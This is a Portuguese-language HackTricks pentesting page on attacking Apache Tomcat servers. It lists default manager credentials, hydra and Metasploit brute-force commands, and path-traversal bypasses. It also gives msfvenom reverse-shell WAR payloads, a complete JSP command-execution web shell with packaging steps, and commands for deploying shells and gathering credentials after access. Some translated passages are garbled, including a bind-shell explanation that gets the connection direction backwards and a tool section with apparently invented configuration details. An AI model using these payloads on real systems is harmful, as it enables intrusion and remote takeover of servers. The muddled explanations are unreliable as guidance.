# Tomcat
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Descoberta
* Geralmente é executado na **porta 8080**
* **Erro comum do Tomcat:**
## Enumeração
### Versão
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Apache Tomcat 9 (9.0.30) - Documentation Index use auxiliary/scanner/http/tomcat_enum
```
### Credenciais padrão
O caminho mais interessante do Tomcat é _**/manager/html**_, dentro desse **caminho você pode fazer upload e implantar arquivos war** (executar código). Mas esse caminho é protegido por autenticação básica HTTP, as credenciais mais comuns são:
* admin:admin
* tomcat:tomcat
* admin:\
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Você pode testar essas e outras usando:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Outro caminho interessante do Tomcat é /manager/status, onde você pode ver a versão do sistema operacional e do Tomcat. Isso é útil para encontrar vulnerabilidades que afetam a versão do Tomcat quando você não consegue acessar /manager/html.
### Bruteforce
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts
```
## Vulns
### Divulgação de rastreamento de senha
Tente acessar `/auth.jsp` e, se tiver muita sorte, **poderá divulgar a senha em um rastreamento**.
### Codificação de URL dupla
Uma vulnerabilidade conhecida _para_ acessar o gerenciador de aplicativos \_\_ é o mod\_jk no CVE-2007-1860, que permite **travessia de caminho com codificação de URL dupla**.
Para acessar a interface web de gerenciamento do Tomcat, vá para: _pathTomcat/%252E%252E/manager/html_
Leve em consideração que, para fazer upload do webshell, você pode precisar usar o truque de codificação de URL dupla e enviar também um cookie e/ou um token SSRF.\
Para acessar a porta dos fundos, você também pode precisar usar o truque de codificação de URL dupla.
### /examples
Os seguintes scripts de exemplo que vêm com o Apache Tomcat v4.x - v7.x podem ser usados por atacantes para obter informações sobre o sistema. Esses scripts também são conhecidos por serem vulneráveis a injeção de script entre sites (XSS) (de [aqui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### Traversão de caminho (..;/)
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html`
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, poderá **fazer upload e implantar um arquivo .war (executar código)**.
### Limitações
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
O Metasploit é uma poderosa ferramenta de teste de penetração que permite aos hackers explorar vulnerabilidades em sistemas e redes. Ele fornece uma ampla gama de módulos e exploits que podem ser usados para comprometer sistemas alvo. O Metasploit é altamente personalizável e oferece uma interface de linha de comando e uma interface gráfica do usuário para facilitar o uso. Ele suporta uma variedade de plataformas e é amplamente utilizado por profissionais de segurança e hackers éticos para testar a segurança de sistemas e redes.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost
msf exploit(multi/http/tomcat_mgr_upload) > set rport
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Shell Reverso MSFVenom
O shell reverso é uma técnica comumente usada em testes de penetração para obter acesso remoto a um sistema comprometido. O MSFVenom é uma ferramenta poderosa que permite gerar payloads personalizados para explorar vulnerabilidades em um servidor web.
Para criar um payload de shell reverso usando o MSFVenom, você pode usar o seguinte comando:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
```
Neste comando, você precisa substituir `` pelo seu endereço IP e `` pela porta que deseja usar para a conexão reversa.
Depois de executar o comando, o MSFVenom irá gerar um arquivo WAR chamado `shell.war`, que contém o payload de shell reverso. Você pode implantar esse arquivo em um servidor Tomcat para explorar uma vulnerabilidade e obter acesso remoto ao sistema.
Lembre-se de que o uso de técnicas de hacking sem permissão é ilegal e antiético. Sempre obtenha autorização adequada antes de realizar testes de penetração em sistemas.
```bash
msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
```
Em seguida, **faça o upload do arquivo `revshell.war` e acesse-o (**_**/revshell/**_**)**
### Conexão de shell reversa e bind com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Em alguns cenários, isso não funciona (por exemplo, versões antigas do sun)
#### Baixar
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
Um shell reverso é uma técnica usada em testes de penetração para obter acesso remoto a um sistema comprometido. Em vez de estabelecer uma conexão direta com o sistema alvo, o shell reverso permite que o atacante estabeleça uma conexão de saída do sistema comprometido para um servidor controlado por ele. Isso permite que o atacante execute comandos no sistema comprometido e obtenha acesso remoto completo. O shell reverso é frequentemente usado para contornar firewalls e outras medidas de segurança, pois a conexão é iniciada do sistema comprometido para o servidor controlado pelo atacante.
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
Um shell de bind é um tipo de backdoor que permite que um invasor se conecte a um sistema comprometido e execute comandos remotamente. Ao contrário de um shell reverso, onde o invasor se conecta ao sistema comprometido, um shell de bind aguarda que o sistema comprometido se conecte a ele.
Para criar um shell de bind, o invasor precisa explorar uma vulnerabilidade no sistema alvo e implantar um payload malicioso. Esse payload abrirá uma porta no sistema comprometido e aguardará por uma conexão. Uma vez que a conexão é estabelecida, o invasor pode executar comandos no sistema comprometido como se estivesse interagindo diretamente com ele.
Os shells de bind podem ser usados para várias atividades maliciosas, como roubo de dados, instalação de malware adicional ou até mesmo controle total do sistema comprometido. É importante que os administradores de sistemas estejam cientes dessa técnica e tomem medidas para proteger seus sistemas contra ataques de shell de bind.
```bash
./tomcatWarDeployer.py -U -P -p :/manager/html/
```
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
O Culsterd é uma ferramenta útil para testar a segurança de servidores web Apache Tomcat. Ele fornece uma variedade de módulos que podem ser usados para explorar vulnerabilidades e realizar testes de penetração em um ambiente controlado.
#### Instalação
Para começar, você precisará clonar o repositório do Culsterd do GitHub:
```
git clone https://github.com/hatRiot/clusterd.git
```
Em seguida, navegue até o diretório do Culsterd:
```
cd clusterd
```
#### Configuração
Antes de usar o Culsterd, você precisará configurar o arquivo `config.yml` com as informações do seu ambiente de teste. O arquivo de configuração contém detalhes sobre o servidor Tomcat que você deseja testar, como o endereço IP, a porta e as credenciais de autenticação, se aplicável.
#### Executando um módulo
Depois de configurar o arquivo `config.yml`, você pode executar um módulo específico do Culsterd. Por exemplo, para executar o módulo `tomcat/manager_login`, use o seguinte comando:
```
./clusterd.py tomcat/manager_login
```
O Culsterd fornecerá informações detalhadas sobre o módulo em execução, incluindo quaisquer vulnerabilidades encontradas e as etapas necessárias para explorá-las.
#### Explorando vulnerabilidades
O Culsterd possui uma variedade de módulos que podem ser usados para explorar vulnerabilidades específicas do Apache Tomcat. Alguns exemplos de módulos incluem:
- `tomcat/manager_login`: Testa a autenticação do gerenciador do Tomcat.
- `tomcat/manager_deploy`: Testa a capacidade de implantar um arquivo WAR no Tomcat.
- `tomcat/manager_list`: Lista os aplicativos implantados no Tomcat.
Você pode executar esses módulos usando o comando `./clusterd.py` seguido pelo nome do módulo desejado.
#### Conclusão
O Culsterd é uma ferramenta poderosa para testar a segurança de servidores web Apache Tomcat. Com uma variedade de módulos disponíveis, ele permite explorar vulnerabilidades e realizar testes de penetração de forma eficaz. Certifique-se de configurar corretamente o arquivo `config.yml` antes de executar os módulos.
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Método manual - Web shell
Crie o arquivo **index.jsp** com este [conteúdo](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+""; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Você também pode instalar isso (permite upload, download e execução de comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Método Manual 2
Obtenha um web shell JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crie um arquivo WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
O nome do arquivo de credenciais do Tomcat é _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Outras maneiras de obter credenciais do Tomcat:
1. **Força bruta**: Tentar adivinhar as credenciais do Tomcat usando uma lista de senhas comuns ou tentando todas as combinações possíveis de senhas.
2. **Ataques de dicionário**: Usar um dicionário de palavras para tentar adivinhar as credenciais do Tomcat.
3. **Ataques de injeção de SQL**: Explorar vulnerabilidades de injeção de SQL para obter acesso às credenciais do Tomcat armazenadas no banco de dados.
4. **Ataques de phishing**: Enganar os usuários do Tomcat para que revelem suas credenciais por meio de e-mails falsos ou páginas da web fraudulentas.
5. **Exploração de vulnerabilidades**: Identificar e explorar vulnerabilidades conhecidas no Tomcat para obter acesso não autorizado.
6. **Sniffing de rede**: Monitorar o tráfego de rede para capturar as credenciais do Tomcat quando são transmitidas em texto claro.
7. **Ataques de força bruta de hash**: Tentar quebrar senhas criptografadas armazenadas no arquivo de configuração do Tomcat usando ataques de força bruta de hash.
8. **Ataques de força bruta de sessão**: Tentar adivinhar ou forçar a sessão de um usuário legítimo do Tomcat para obter acesso às suas credenciais.
É importante lembrar que a realização de qualquer uma dessas atividades sem autorização prévia é ilegal e pode resultar em consequências legais graves. Sempre obtenha permissão por escrito antes de realizar testes de penetração em qualquer sistema.
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Outras ferramentas de varredura do Tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.